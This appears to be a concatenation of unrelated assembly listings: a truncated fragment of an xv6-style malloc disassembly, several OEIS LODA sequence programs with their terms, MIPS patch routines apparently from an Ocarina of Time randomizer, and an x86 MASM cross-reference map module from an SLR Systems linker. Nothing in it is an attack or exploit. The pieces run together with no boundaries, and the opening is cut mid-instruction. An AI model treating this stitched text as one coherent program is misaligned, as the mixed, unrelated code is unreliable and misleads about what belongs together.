%ecx,0x4(%eax) p += p->s.size; 791: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 794: 89 78 04 mov %edi,0x4(%eax) freep = prevp; 797: 89 15 c0 0a 00 00 mov %edx,0xac0 } 79d: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 7a0: 83 c0 08 add $0x8,%eax } 7a3: 5b pop %ebx 7a4: 5e pop %esi 7a5: 5f pop %edi 7a6: 5d pop %ebp 7a7: c3 ret 7a8: 90 nop 7a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; 7b0: c7 05 c0 0a 00 00 c4 movl $0xac4,0xac0 7b7: 0a 00 00 7ba: c7 05 c4 0a 00 00 c4 movl $0xac4,0xac4 7c1: 0a 00 00 base.s.size = 0; 7c4: b8 c4 0a 00 00 mov $0xac4,%eax 7c9: c7 05 c8 0a 00 00 00 movl $0x0,0xac8 7d0: 00 00 00 7d3: e9 44 ff ff ff jmp 71c <malloc+0x2c> 7d8: 90 nop 7d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi prevp->s.ptr = p->s.ptr; 7e0: 8b 08 mov (%eax),%ecx 7e2: 89 0a mov %ecx,(%edx) 7e4: eb b1 jmp 797 <malloc+0xa7>
; A179991: Nonhomogeneous three-term sequence a(n) = a(n-1) + a(n-2) + n. ; 2,3,8,15,28,49,84,141,234,385,630,1027,1670,2711,4396,7123,11536,18677,30232,48929,79182,128133,207338,335495,542858,878379,1421264,2299671,3720964,6020665,9741660,15762357,25504050,41266441,66770526,108037003,174807566,282844607,457652212,740496859,1198149112,1938646013,3136795168,5075441225,8212236438,13287677709,21499914194,34787591951,56287506194,91075098195,147362604440,238437702687,385800307180,624238009921,1010038317156,1634276327133,2644314644346,4278590971537,6922905615942,11201496587539,18124402203542,29325898791143,47450300994748,76776199785955,124226500780768,201002700566789,325229201347624,526231901914481,851461103262174,1377693005176725,2229154108438970,3606847113615767,5836001222054810,9442848335670651,15278849557725536,24721697893396263,40000547451121876,64722245344518217,104722792795640172,169445038140158469,274167830935798722,443612869075957273,717780700011756078,1161393569087713435,1879174269099469598,3040567838187183119,4919742107286652804,7960309945473836011,12880052052760488904,20840361998234325005,33720414050994814000,54560776049229139097,88281190100223953190,142841966149453092381,231123156249677045666,373965122399130138143,605088278648807183906,979053401047937322147,1584141679696744506152,2563195080744681828399 mov $1,$0 seq $0,14739 ; Expansion of (1+x^2)/(1-2*x+x^3). mul $0,2 sub $0,$1
; A019564: Coordination sequence for C_8 lattice. ; Submitted by Christian Krause ; 1,128,2816,27008,157184,658048,2187520,6140800,15158272,33830016,69629696,134110592,244396544,425000576,710003968,1145628544,1793234944,2732779648,4066763520,5924704640,8468168192,11896386176,16452499712,22430456704,30182597632,40127962240,52761349888,68663166336,88510089728,113086588544,143297324288,180180471680,224921989120,278870872192,343555422976,420700567936,512246257152,620366977664,747492413696,896329286528,1069884406784,1271488971904,1504824141568,1773947923840,2083323404800 mul $0,2 seq $0,8416 ; Coordination sequence for 8-dimensional cubic lattice.
override_great_fairy_cutscene: ; a0 = global context ; a2 = fairy actor addiu sp, sp, -0x18 sw ra, 0x10 (sp) lw t0, 0x1D2C (a0) ; t0 = switch flags li t1, 1 sll t1, t1, 0x18 ; t1 = ZL switch flag and v0, t0, t1 beqz v0, @@return ; Do nothing until ZL is played nop lhu t2, 0x02DC (a2) ; Load fairy index li t3, SAVE_CONTEXT lhu t4, 0xA4 (a0) ; Load scene number beq t4, 0x3D, @@item_fairy nop ; Handle upgrade fairies addu t4, a0, t2 lbu t5, 0x1D28 (t4) ; t5 = chest flag for this fairy bnez t5, @@refills ; Just refills if the item is already obtained nop li t5, 1 sb t5, 0x1D28 (t4) ; Mark item as obtained addiu t2, t2, DELAYED_UPGRADE_FAIRIES ; t2 = cutscene override flag b @@give_item nop @@item_fairy: li t4, 1 sllv t4, t4, t2 ; t4 = fairy item mask lbu t5, 0x0EF2 (t3) ; t5 = fairy item flags and t6, t5, t4 bnez t6, @@refills ; Just refills if the item is already obtained nop or t6, t5, t4 sb t6, 0x0EF2 (t3) ; Mark item as obtained addiu t2, t2, DELAYED_ITEM_FAIRIES ; t2 = cutscene override flag @@give_item: ; Unset ZL switch nor t1, t1, t1 and t0, t0, t1 sw t0, 0x1D2C (a0) jal push_delayed_item move a0, t2 @@refills: jal health_and_magic_refill nop @@return: lw ra, 0x10 (sp) li v0, 0 ; Prevent fairy animation jr ra addiu sp, sp, 0x18 ;================================================================================================== ; a3 = item ID override_ocarina_songs: addiu sp, sp, -0x18 sw ra, 0x10 (sp) jal push_delayed_item addi a0, a3, -0x5A + DELAYED_OCARINA_SONGS li v0, 0xFF lw ra, 0x10 (sp) jr ra addiu sp, sp, 0x18 ;================================================================================================== override_requiem_song: addiu sp, sp, -0x20 sw at, 0x10 (sp) sw v1, 0x14 (sp) sw ra, 0x18 (sp) jal push_delayed_item li a0, DELAYED_REQUIEM lw at, 0x10 (sp) lw v1, 0x14 (sp) lw ra, 0x18 (sp) jr ra addiu sp, sp, 0x20 ;================================================================================================== override_epona_song: addiu sp, sp, -0x20 sw a2, 0x10 (sp) sw a3, 0x14 (sp) sw ra, 0x18 (sp) lui at, 0x8012 addiu at, at, 0xA5D0 ; v1 = 0x8012A5D0 # save context (sav) lb t0, 0x0EDE (at) ; check learned song from malon flag ori t0, t0, 0x01 ; t9 = "Invited to Sing With Child Malon" sb t0, 0x0EDE (at) jal push_delayed_item li a0, DELAYED_EPONAS_SONG lw a2, 0x10 (sp) lw a3, 0x14 (sp) lw ra, 0x18 (sp) jr ra addiu sp, sp, 0x20 ;================================================================================================== override_suns_song: addiu sp, sp, -0x18 sw v1, 0x10 (sp) sw ra, 0x14 (sp) lui at, 0x8012 addiu at, at, 0xA5D0 ; v1 = 0x8012A5D0 # save context (sav) lb t0, 0x0EDE (at) ; learned song from sun's song ori t0, t0, 0x04 sb t0, 0x0EDE (at) jal push_delayed_item li a0, DELAYED_SUNS_SONG lw v1, 0x10 (sp) lw ra, 0x14 (sp) jr ra addiu sp, sp, 0x18 ;================================================================================================== override_song_of_time: addiu sp, sp, -0x28 sw a0, 0x10 (sp) sw v0, 0x14 (sp) sw t7, 0x18 (sp) sw ra, 0x20 (sp) jal push_delayed_item li a0, DELAYED_SONG_OF_TIME li a1, 3 ; Displaced code lw a0, 0x10 (sp) lw v0, 0x14 (sp) lw t7, 0x18 (sp) lw ra, 0x20 (sp) jr ra addiu sp, sp, 0x28 ;================================================================================================== override_saria_song_check: move t7, v1 lb t4, 0x0EDF(t7) andi t6, t4, 0x80 beqz t6, @@get_item li v1, 5 jr ra li v0, 2 @@get_item: jr ra move v0, v1 ;================================================================================================== set_saria_song_flag: lh v0, 0xa4(t6) ; v0 = scene li t0, SAVE_CONTEXT lb t1, 0x0EDF(t0) ori t1, t1, 0x80 sb t1, 0x0EDF(t0) jr ra nop ;================================================================================================== ; Injection for talking to the Altar in the Temple of Time ; Should set flag in save that it has been spoken to. set_dungeon_knowledge: addiu sp, sp, -0x10 sw ra, 0x04(sp) ; displaced instruction jal 0xD6218 nop li t4, SAVE_CONTEXT lh t5, 0x0F2E(t4) ; flags lw t8, 0x0004(t4) ; age beqz t8, @@set_flag li t6, 0x0001 ; adult bit li t6, 0x0002 ; child bit @@set_flag: or t5, t5, t6 sh t5, 0x0F2E(t4) ; set the flag lw ra, 0x04(sp) addiu sp, sp, 0x10 jr ra nop ;================================================================================================== ;Break free of the talon cutscene after event flag is set talon_break_free: ;displaced code addiu t1, r0, 0x0041 ;preserve registers (t0, t1, t2, t4) addiu sp, sp, -0x20 sw t0, 0x04(sp) sw t1, 0x08(sp) sw t2, 0x0C(sp) sw t4, 0x10(sp) lui t2, 0xFFFF sra t2, t2, 0x10 ;shift right 2 bytes lui t0, 0x801D lh t4, 0x894C(t0) ;load current value @z64_game.event_flag beq t4, t2, @@msg ;if in non-cs state, jump to next check nop sh r0, 0x894C(t0) ;store 0 to z64_game.event_flag @@msg: lui t0, 0x801E lb t2, 0x887C(t0) beqz t2, @@return ;return if msg_state_1 is 0 nop lui t1, 0x0036 sra t1, t1, 0x10 ;shift right 2 bytes sb t1, 0x887C(t0) ;store 0x36 to msg_state_1 lui t1, 0x0002 sra t1, 0x10 ;shift right 2 bytes sb t1, 0x895F(t0) ;store 0x02 to msg_state_3 lui t0, 0x801F sb r0, 0x8D38(t0) ;store 0x00 to msg_state_2 @@return: lw t4, 0x10(sp) lw t2, 0x0C(sp) lw t1, 0x08(sp) lw t0, 0x04(sp) jr ra addiu sp, sp, 0x20 ;================================================================================================== PLAYED_WARP_SONG: .byte 0x00 .align 4 ;When a warp song is played, index the list of warp entrances in Links overlay and trigger a warp manually ;PLAYED_WARP_SONG is set so that the white fade in can be used on the other side of the warp warp_speedup: la t2, 0x800FE49C ;pointer to links overlay in RAM lw t2, 0(t2) beqz t2, @@return nop la t0, GLOBAL_CONTEXT lui t3, 0x0001 ori t3, t3, 0x04C4 ;offset of warp song played add t0, t0, t3 lh t1, 0x0(t0) lui t3, 0x0002 ori t3, t3, 0x26CC add t2, t2, t3 ;entrance Table of Warp songs sll t1, t1, 1 addu t2, t1, t2 lh t1, 0x0(t2) sh t1, 0x1956(t0) ;next entrance la t4, 0x801D84A0 ;globalctx+10000 li t1, 0x03 sb t1, 0x1E5E(t4) ;transition fade type li t1, 0x14 sb t1, 0x1951(t0) ;scene load flag li t1, 0x01 ;set warp flag for correct fade in sb t1, PLAYED_WARP_SONG la t0, SAVE_CONTEXT lh t1, 0x13D2(t0) ; Timer 2 state beqz t1, @@return nop li t1, 0x01 sh t1, 0x13D4(t0) ; Timer 2 value @@return: jr ra nop ;If PLAYED_WARP_SONG is set, override the transition fade-in type to be 03 (medium speed white) set_fade_in: ori at, at, 0x241C ;displaced la t5, PLAYED_WARP_SONG lb t1, 0x00(t5) beqz t1, @@return lh t2, 0xA4(s1) ;scene number li t3, 0x5E beq t2, t3, @@return ;dont set fade if current scene is wasteland la t4, 0x801D84A0 ;globalctx+10000 li t1, 0x03 sb t1, 0x1E5E(t4) ;transition fade type sb r0, 0x00(t5) ;clear warp song flag @@return: jr ra nop ;================================================================================================== ; Prevent hyrule castle guards from causing a softlock. guard_catch: la v0, GLOBAL_CONTEXT lui at, 0x0001 add v0, v0, at li at, 0x047e sh at, 0x1E1A(v0) ;entrance index = caught by guard li at, 0x14 jr ra sb at, 0x1E15(v0) ; trigger load ;================================================================================================== ; Allow any entrance to kak to play burning cutscene burning_kak: addiu sp, sp, -0x18 sw ra, 0x14(sp) sw a0, 0x18(sp) lw t9, 0x0004(s0) bnez t9, @@default lw t9, 0x0000(s0) li at, 0x800F9C90 ; entrance table sll t9, t9, 2 add at, t9, at lbu at, 0x00(at) li t9, 0x52 bne t9, at, @@default lw t9, 0x0000(s0) lhu v0, 0x00A6(s0) andi t4, v0, 0x0007 xori t4, t4, 0x0007 bnez t4, @@default addiu a0, r0, 0xAA jal 0x800288B4 nop bnez v0, @@default ; Burning Kak already Watched lw t9, 0x0000(s0) li t9, 0xDB b @@return sw t9, 0x0000(s0) @@default: li at, 0x01E1 @@return: lw ra, 0x14(sp) lw a0, 0x18(sp) jr ra addiu sp, sp, 0x18 ;================================================================================================== ; In ER, set the "Obtained Epona" Flag after winning Ingo's 2nd race ingo_race_win: lb t0, OVERWORLD_SHUFFLED beqz t0, @@return ; only apply this patch in Overworld ER la at, SAVE_CONTEXT lb t0, 0x0ED6(at) ori t0, t0, 0x01 ; "Obtained Epona" Flag sb t0, 0x0ED6(at) @@return: li t0, 0 jr ra sw t9, 0x0000(t7) ; Displaced Code ; Rectify the "Getting Caught By Gerudo" entrance index if necessary, based on the age and current scene ; In ER, Adult should be placed at the fortress entrance when getting caught in the fortress without a hookshot, instead of being thrown in the valley ; Child should always be thrown in the stream when caught in the valley, and placed at the fortress entrance from valley when caught in the fortress ; Registers safe to override: t3-t8 gerudo_caught_entrance: la t3, GLOBAL_CONTEXT lh t3, 0x00A4(t3) ; current scene number li t4, 0x005A ; Gerudo Valley scene number bne t3, t4, @@fortress ; if we are not in the valley, then we are in the fortress li t3, 0x01A5 ; else, use the thrown out in valley entrance index, even if you have a hookshot sh t3, 0x1E1A(at) b @@return @@fortress: la t4, SAVE_CONTEXT lw t4, 0x0004(t4) ; current age bnez t4, @@fortress_entrance ; if child, change to the fortress entrance no matter what, even if you have a hookshot lb t3, OVERWORLD_SHUFFLED beqz t3, @@return ; else (if adult), only rectify entrances from inside the fortress in Overworld ER lh t3, 0x1E1A(at) ; original entrance index li t4, 0x01A5 ; "Thrown out of Fortress" entrance index beq t3, t4, @@fortress_entrance ; if adult would be thrown in the valley, change to the fortress entrance (no hookshot) nop b @@return ; else, keep the jail entrance index (owned hookshot) @@fortress_entrance: li t3, 0x0129 ; Fortress from Valley entrance index sh t3, 0x1E1A(at) @@return: jr ra nop ;================================================================================================== ;After Link recieves an item in a fairy fountain, fix position and angle to be as if the cutscene finished GET_ITEM_TRIGGERED: .byte 0x00 .align 4 fountain_set_posrot: or a1, s1, r0 ;displaced la t7, INCOMING_ITEM lh t8, 0x00(t7) bnez t8, @@return ;skip everything if recieving an item from another player la t1, GET_ITEM_TRIGGERED la t2, PLAYER_ACTOR lb t3, 0x424(t2) ;Get Item ID beqz t3, @@skip ;dont set flag if get item is 0 lb t6, 0x0(t1) li t4, 0x7E ;GI_MAX beq t3, t4, @@skip ;skip for catchable items nop bnez t6, @@skip ;skip setting flag if its already set li t4, 0x1 sb t4, 0x0(t1) ;set flag li t5, 0xC1A00000 sw t5, 0x24(t2) ;set x li t5, 0x41200000 sw t5, 0x28(t2) ;set y li t5, 0xC4458000 sw t5, 0x2C(t2) ;set z @@skip: beqz t6, @@return nop bnez t3, @@return li t5, 0x8000 sh t5, 0xB6(t2) ;set angle sb r0, 0x0(t1) ;set flag to 0 @@return: jr ra nop ;================================================================================================== SOS_ITEM_GIVEN: .byte 0x00 .align 4 sos_skip_demo: la t2, PLAYER_ACTOR lw t3, 0x66C(t2) li t4, 0xCFFFFFFF ;~30000000 and t3, t3, t4 jr ra sw t3, 0x66C(t2) ;unset flag early so link can receive item asap ;game has loaded 0x800000 into at, player into v0, and stateFlags2 into t6 sos_handle_staff: addiu sp, sp, -0x20 sw ra, 0x14(sp) sw a0, 0x18(sp) or t7, t6, at sw t7, 0x680(v0) ;stateFlags2 |= 0x800000 li a0, 0x01 jal 0x8006D8E0 ;Interface_ChangeAlpha, hide hud nop lb t0, SONGS_AS_ITEMS bnez t0, @@return nop la a0, GLOBAL_CONTEXT lb a1, WINDMILL_SONG_ID jal 0x800DD400 ;show song staff nop @@return: lw a0, 0x18(sp) lw t0, 0x138(a0) ;overlayEntry lw t1, 0x10(t0) ;overlay ram start addiu t2, t1, 0x3D4 ;offset in the overlay for next actionFunc sw t2, 0x29C(a0) ;set next actionFunc lw ra, 0x14(sp) jr ra addiu sp, sp, 0x20 sos_handle_item: addiu sp, sp, -0x20 sw ra, 0x14(sp) sw a0, 0x18(sp) lb t0, SONGS_AS_ITEMS bnez t0, @@songs_as_items nop la t1, 0x801D887C lb t0, 0x0(t1) ;msgMode li t3, 0x36 bne t0, t3, @@next_check nop lb t0, SOS_ITEM_GIVEN bnez t0, @@next_check nop @@passed_first_check: ;play sound, show text, set flag, return li t0, 1 sb t0, SOS_ITEM_GIVEN la a0, GLOBAL_CONTEXT lbu a1, WINDMILL_TEXT_ID li a2, 0 jal 0x800DCE14 ;show text nop li a0, 0x4802 ;NA_SE_SY_CORRECT_CHIME jal 0x800646F0 ;play "correct" sound nop b @@return nop @@songs_as_items: ;give item then branch to the common ending code la a0, GLOBAL_CONTEXT li a1, 0x65 ;sos Item ID jal 0x8006FDCC ;Item_Give nop b @@common nop @@next_check: lw a0, 0x18(sp) ;this la a1, GLOBAL_CONTEXT jal 0x80022AD0 ;func_8002F334 in decomp, checks for closed text nop beqz v0, @@return ;return if text isnt closed yet nop lb t0, SOS_ITEM_GIVEN beqz t0, @@return nop @@common: lw a0, 0x18(sp) lw t0, 0x138(a0) ;overlayEntry lw t1, 0x10(t0) ;overlay ram start addiu t2, t1, 0x35C ;offset in the overlay for next actionFunc sw t2, 0x29C(a0) ;set next actionFunc la v0, SAVE_CONTEXT lhu t1, 0x0EE0(v0) ori t2, t1, 0x0020 sh t2, 0x0EE0(v0) ;gSaveContext.eventChkInf[6] |= 0x20 lw t0, 0x4(a0) li t1, 0xFFFEFFFF and t0, t0, t1 sw t0, 0x4(a0) ;actor.flags &= ~0x10000 @@return: lw ra, 0x14(sp) jr ra addiu sp, sp, 0x20 ;if link is getting an item dont allow the windmill guy to talk sos_talk_prevention: lh t7, 0xB6(s0) ;displaced lhu t9, 0xB4AE(t9) ;displaced la t1, PLAYER_ACTOR lb t2, 0x424(t1) ;get item id beqz t2, @@no_item nop li t1, 0x7E bne t2, t1, @@item nop @@no_item: jr ra li t2, 0 @@item: jr ra li t2, 1 ;================================================================================================== ;move royal tombstone if draw function is null move_royal_tombstone: lw t6, 0x134(a0) ;grave draw function bnez t6, @@return li t6, 0x44800000 ;new x pos sw t6, 0x24(a0) @@return: jr ra lw t6, 0x44(sp) ;================================================================================================== heavy_block_set_switch: addiu a1, s0, 0x01A4 ;displaced addiu sp, sp, -0x20 sw ra, 0x14(sp) sw a1, 0x18(sp) lh a1, 0x1C(s1) sra a1, a1, 8 jal 0x800204D0 ;set switch flag andi a1, a1, 0x3F lw a1, 0x18(sp) lw ra, 0x14(sp) jr ra addiu sp, sp, 0x20 heavy_block_posrot: sw t9, 0x66C(s0) ;displaced lw t2, 0x428(s0) ;interactActor (block) la t1, PLAYER_ACTOR lh t3, 0xB6(t2) ;block angle addi t3, t3, 0x8000 ;180 deg jr ra sh t3, 0xB6(t1) ;store to links angle to make him face block heavy_block_set_link_action: la t0, PLAYER_ACTOR lb t2, 0x0434(t0) li t3, 0x08 bne t2, t3, @@return li t1, 0x07 ;action 7 sb t1, 0x0434(t0) ;links action @@return: jr ra lwc1 f6, 0x0C(s0) ;displaced heavy_block_shorten_anim: la t0, PLAYER_ACTOR lw t1, 0x01AC(t0) ;current animation li t2, 0x04002F98 ;heavy block lift animation bne t1, t2, @@return ;return if not heavy block lift lw t3, 0x1BC(t0) ;current animation frame li t4, 0x42CF0000 bne t3, t4, @@check_end li t5, 0x43640000 ;228.0f b @@return sw t5, 0x1BC(t0) ;throw block @@check_end: li t4, 0x43790000 ;249.0f bne t3, t4, @@return li t1, 0x803A967C sw t1, 0x664(t0) @@return: jr ra addiu a1, s0, 0x01A4 ;displaced ;================================================================================================== ; Override Demo_Effect init data for medallions demo_effect_medal_init: sh t8, 0x17C(a0) ; displaced code la t0, GLOBAL_CONTEXT lh t1, 0xA4(t0) ; current scene li t2, 0x02 bne t1, t2, @@return ; skip overrides if scene isn't "Inside Jabu Jabu's Belly" lw t1, 0x138(a0) ; pointer to actor overlay table entry lw t1, 0x10(t1) ; actor overlay loaded ram address addiu t2, t1, 0x3398 sw t2, 0x184(a0) ; override update routine to child spritiual stone (8092E058) li t3, 1 sh t3, 0x17C(a0) ; set cutscene NPC id to child ruto addiu sp, sp, -0x18 sw ra, 0x14(sp) li a1, 0.1 jal 0x80020F88 ; set actor scale to 0.1 nop lw ra, 0x14(sp) addiu sp, sp, 0x18 @@return: jr ra nop
TITLE XRFMAP - Copyright (c) SLR Systems 1994 INCLUDE MACROS INCLUDE SYMBOLS INCLUDE MODULES PUBLIC ALLOW_XREF_MAP,DO_XREF_MAP .DATA EXTERNDEF XOUTBUF:BYTE EXTERNDEF FIRST_XREF_BLK:DWORD,PAGEWIDTH:DWORD EXTERNDEF XREF_OK_SEM:GLOBALSEM_STRUCT,MODULE_GARRAY:STD_PTR_S,SYMBOL_GARRAY:STD_PTR_S EXTERNDEF XREF_STUFF:ALLOCS_STRUCT .CODE PASS2_TEXT EXTERNDEF _capture_eax:proc EXTERNDEF _release_eax:proc EXTERNDEF _release_eax_bump:proc EXTERNDEF TQUICK_ALPHA_XREF:PROC,HEADER_OUT:PROC,_release_minidata:proc EXTERNDEF RELEASE_EAX_BUFFER:PROC,UNUSE_SYMBOLS:PROC,MOVE_SLEN:PROC,MOVE_PNAME:PROC,SPACE_OUT:PROC EXTERNDEF LINE_OUT:PROC,XREF_POOL_GET:PROC,RELEASE_SEGMENT:PROC,CAPTURE_EAX:PROC,RELEASE_EAX:PROC EXTERNDEF MOVE_ASCIZ_ESI_EDI:PROC,SAY_VERBOSE:PROC WM_XREF_VARS STRUC QN_BUFFER_BP DD 256K/(page_size/4) DUP(?) ;256K SYMBOLS SORTING WM_CURNMOD_GINDEX_BP DD ? WM_BLK_PTR_BP DD ? WM_CNT_BP DD ? WM_PTR_BP DD ? WM_XREF_VARS ENDS FIX MACRO X X EQU ([EBP-SIZE WM_XREF_VARS].(X&_BP)) ENDM FIX QN_BUFFER FIX WM_CURNMOD_GINDEX FIX WM_BLK_PTR FIX WM_CNT FIX WM_PTR ALLOW_XREF_MAP PROC ; ; ; if fgh_mapthread BITT _HOST_THREADED JZ DO_XREF_MAP RELEASE XREF_OK_SEM RET endif ALLOW_XREF_MAP ENDP DO_XREF_MAP PROC ; ;PRINT COMPLETE GLOBAL XREF ; BITT XREF_OUT JZ NO_XREF PUSHM EBP,EDI,ESI,EBX MOV EBP,ESP ASSUME EBP:PTR WM_XREF_VARS SUB ESP,SIZEOF WM_XREF_VARS CAPTURE XREF_OK_SEM ;WAIT FOR .EXE AND .CV TO FINISH ;BEFORE GRABBING CPU FOR SORT YIELD ;SO STOP WORKS if debug MOV EAX,OFF XREF_MSG CALL SAY_VERBOSE endif XOR ECX,ECX LEA EAX,QN_BUFFER MOV QN_BUFFER,ECX CALL TQUICK_ALPHA_XREF ;SORT SYMBOLS AGAIN - EVEN NON-PUBLICS (IMPORTS, ETC) CALL XREF_PREPROCESS ;LINK REFERENCES TOGETHER MOV EAX,OFF XREF_HEADER CALL HEADER_OUT CALL TBLINIT JMP DX_1 DX_LOOP: CONVERT ECX,EAX,SYMBOL_GARRAY ASSUME ECX:PTR SYMBOL_STRUCT CALL OUTPUT_XREF DX_1: CALL TBLNEXT ;DS:SI IS SYMBOL, AX IS GINDEX JNZ DX_LOOP ; ;RELEASE BLOCKS USED FOR XREF INFORMATION... ; if debug MOV EAX,OFF END_XREF_MSG CALL SAY_VERBOSE endif MOV EAX,OFF XREF_STUFF push EAX call _release_minidata add ESP,4 LEA EAX,QN_BUFFER CALL RELEASE_EAX_BUFFER ;RELEASE SORTED SYMBOL POINTERS CALL UNUSE_SYMBOLS ;I'M DONE WITH SYMBOL TABLE MOV ESP,EBP POPM EBX,ESI,EDI,EBP NO_XREF: RET DO_XREF_MAP ENDP OUTPUT_XREF PROC NEAR ; ;ECX IS SYMBOL ; MOV EDI,OFF XOUTBUF+1 MOV EBX,ECX ASSUME EBX:PTR SYMBOL_STRUCT MOV AL,' ' LEA ESI,[ECX]._S_NAME_TEXT MOV [EDI-1],AL CALL MOVE_ASCIZ_ESI_EDI ;OUTPUT SYMBOL TEXT MOV EAX,[EBX]._S_LAST_XREF MOV EBX,[EBX]._S_DEFINING_MOD TEST EBX,EBX JZ L1$ ASSUME ECX:NOTHING PUSH EAX MOV ECX,OFF XOUTBUF+19 CALL SPACE_OUT_NL ;SPACE OVER TO 'DEFINED' COLUMN, NEW-LINE IF ALREADY PAST IT CONVERT EBX,EBX,MODULE_GARRAY ASSUME EBX:PTR MODULE_STRUCT LEA ESI,[EBX]._M_TEXT CALL MOVE_ASCIZ_ESI_EDI POP EAX L1$: TEST EAX,EAX JZ REF_DONE PUSH EAX MOV ECX,OFF XOUTBUF+37 CALL SPACE_OUT_NL ;SPACE OVER TO REFERENCE COLUMN, NEW-LINE IF PAST IT ; ;NOW SEE IF ANOTHER REFERENCE ; POP ECX L2$: TEST ECX,ECX JZ REF_DONE MOV EAX,[ECX] ;SAVE LINK TO NEXT MOV ESI,[ECX+4] PUSH EAX CONVERT ESI,ESI,MODULE_GARRAY ASSUME ESI:PTR MODULE_STRUCT ADD ESI,MODULE_STRUCT._M_TEXT L25$: MOV EDX,EDI ;STARTING DI MOV ECX,PAGEWIDTH MOV EBX,ESI ;START OF SYMBOL TEXT ADD ECX,OFF XOUTBUF ; ;MOVE NAME TILL LIMIT ; L3$: MOV AL,BYTE PTR[ESI] INC ESI MOV [EDI],AL INC EDI OR AL,AL JNZ L3$ DEC EDI CMP ECX,EDI ;DID WE EXCEED LINE WIDTH? JA L4$ ;NOPE, OK CMP EDX,OFF XOUTBUF+37 ;BUT DID WE START AT THE BEGINNING? JZ L4$ ;YES, SO KEEP IT ANYWAY MOV EDI,EDX MOV ESI,EBX CALL LINE_OUT MOV ECX,OFF XOUTBUF+37 CALL SPACE_OUT JMP L25$ L4$: MOV BPTR [EDI],' ' INC EDI POP ECX JMP L2$ REF_DONE: CALL LINE_OUT RET OUTPUT_XREF ENDP ASSUME EBX:NOTHING,ESI:NOTHING XREF_PREPROCESS PROC NEAR ; ;SCAN LIST OF REFERENCES, BUILDING LINKED LISTS FOR EACH SYMBOL... ; XOR EAX,EAX MOV WM_CURNMOD_GINDEX,EAX XCHG EAX,FIRST_XREF_BLK L0$: MOV ESI,EAX MOV EDX,EAX ADD EDX,PAGE_SIZE-4 L1$: MOV EBX,[ESI] ADD ESI,4 CMP EBX,-1 JZ L5$ ;SET MODULE # CONVERT EBX,EBX,SYMBOL_GARRAY ASSUME EBX:PTR SYMBOL_STRUCT MOV EAX,8 CALL XREF_POOL_GET ;EAX MOV ECX,[EBX]._S_LAST_XREF MOV [EBX]._S_LAST_XREF,EAX MOV EBX,WM_CURNMOD_GINDEX MOV [EAX],ECX MOV [EAX+4],EBX L4$: CMP ESI,EDX JNZ L1$ MOV EBX,[ESI] LEA EAX,[EDX - (PAGE_SIZE-4)] CALL RELEASE_SEGMENT MOV EAX,EBX OR EAX,EAX JNZ L0$ L9$: RET L5$: CMP ESI,EDX JZ L7$ L6$: MOV EAX,[ESI] ADD ESI,4 MOV WM_CURNMOD_GINDEX,EAX OR EAX,EAX JNZ L4$ ; ;MODULE 0 IS END OF XREF DATA ; LEA EAX,[EDX - (PAGE_SIZE-4)] CALL RELEASE_SEGMENT RET L7$: ; ;MODULE CHANGE ON PAGE BOUNDS ; MOV ESI,[ESI] LEA EAX,[EDX - (PAGE_SIZE-4)] MOV EDX,ESI CALL RELEASE_SEGMENT ADD EDX,PAGE_SIZE-4 JMP L6$ XREF_PREPROCESS ENDP SPACE_OUT_NL PROC NEAR ; ;NEWLINE IF GONE TOO FAR ; L1$: CMP ECX,EDI JBE L5$ SUB ECX,EDI MOV AL,' ' REP STOSB RET L5$: PUSH ECX CALL LINE_OUT POP ECX JMP L1$ SPACE_OUT_NL ENDP TBLINIT PROC PRIVATE LEA ECX,QN_BUFFER+8 ;TABLE OF BLOCKS OF INDEXES MOV EAX,QN_BUFFER+4 ;FIRST BLOCK MOV WM_BLK_PTR,ECX ;POINTER TO NEXT BLOCK TEST EAX,EAX JZ L9$ ; MOV ECX,PAGE_SIZE/4 MOV WM_PTR,EAX ;PHYSICAL POINTER TO NEXT INDEX TO PICK MOV WM_CNT,ECX OR AL,1 L9$: RET TBLINIT ENDP TBLNEXT PROC NEAR PRIVATE ; ;GET NEXT SYMBOL INDEX IN AX, DS:SI POINTS ; MOV EDX,WM_CNT MOV ECX,WM_PTR DEC EDX ;LAST ONE? JZ L5$ MOV EAX,[ECX] ;NEXT INDEX ADD ECX,4 TEST EAX,EAX JZ L9$ MOV WM_PTR,ECX ;UPDATE POINTER MOV WM_CNT,EDX ;UPDATE COUNTER L9$: RET L5$: ; ;NEXT BLOCK ; MOV EAX,[ECX] MOV ECX,WM_BLK_PTR MOV WM_CNT,PAGE_SIZE/4 MOV EDX,[ECX] ADD ECX,4 MOV WM_PTR,EDX MOV WM_BLK_PTR,ECX TEST EAX,EAX RET TBLNEXT ENDP .CONST XREF_HEADER DB SIZEOF XREF_HEADER-1,0DH,0AH,\ ' Symbol Defined Referenced',\ 0dh,0ah,0dh,0ah if debug XREF_MSG DB SIZEOF XREF_MSG-1,'Doing XREF',0DH,0AH END_XREF_MSG DB SIZEOF END_XREF_MSG-1,'Finished XREF',0DH,0AH endif END
; A065338: a(1) = 1, a(p) = p mod 4 for p prime and a(u * v) = a(u) * a(v) for u, v > 0. ; Submitted by Christian Krause ; 1,2,3,4,1,6,3,8,9,2,3,12,1,6,3,16,1,18,3,4,9,6,3,24,1,2,27,12,1,6,3,32,9,2,3,36,1,6,3,8,1,18,3,12,9,6,3,48,9,2,3,4,1,54,3,24,9,2,3,12,1,6,27,64,1,18,3,4,9,6,3,72,1,2,3,12,9,6,3,16,81,2,3,36,1,6,3,24,1,18,3,12,9,6,3,96,1,18,27,4 add $0,1 mov $1,1 lpb $0 mov $3,$0 lpb $3 mov $4,$0 mov $6,$2 cmp $6,0 add $2,$6 mod $4,$2 cmp $4,0 cmp $4,0 mov $5,$2 add $2,1 cmp $5,1 max $4,$5 sub $3,$4 lpe mov $5,1 lpb $0 dif $0,$2 lpb $2 mod $2,4 lpe mul $5,$2 lpe mul $1,$5 lpe mov $0,$1
; A055991: a(n) is its own 4th difference. ; 1,5,19,69,250,907,3292,11949,43371,157422,571388,2073943,7527704,27322992,99173120,359964521,1306548149,4742323107,17213011605,62477347458,226771411939,823102698260,2987581397893,10843899100203,39359646494758,142862060765884,518540439863791,1882124521602480,6831468565398432 lpb $0,1 mov $3,$0 cal $3,55990 ; a(n) is its own 4th difference. sub $0,1 add $2,$3 mov $1,$2 lpe add $1,1
